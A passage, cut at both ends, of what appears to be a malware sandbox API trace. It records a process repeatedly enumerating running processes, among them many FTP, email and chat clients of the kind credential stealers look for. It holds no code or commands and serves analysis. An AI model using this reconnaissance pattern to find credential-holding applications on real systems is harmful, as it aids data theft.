th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0241.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0241.476] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0241.478] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.479] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.482] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0241.484] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0241.485] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.487] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0241.538] CloseHandle (hObject=0x13b0) returned 1 [0241.538] Sleep (dwMilliseconds=0x64) [0241.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0241.612] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.614] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.616] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.620] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.622] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.624] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.627] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.685] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.687] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.691] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.693] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.695] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.697] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.698] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.699] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.702] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.703] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.705] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.707] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.708] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.710] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.711] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.712] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0241.713] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0241.715] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.716] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0241.719] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0241.721] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0241.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0241.783] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0241.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0241.787] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0241.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0241.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0241.793] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0241.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0241.797] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0241.799] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0241.801] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0241.803] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0241.805] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0241.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0241.808] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0241.810] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0241.812] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0241.814] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0241.916] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0241.918] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0241.920] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0241.921] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0241.923] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0241.925] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0241.927] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0241.929] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0241.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0241.932] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0241.934] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0241.935] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0241.937] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0241.939] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0241.941] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0241.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0241.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0241.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0241.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0241.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0241.951] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0241.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 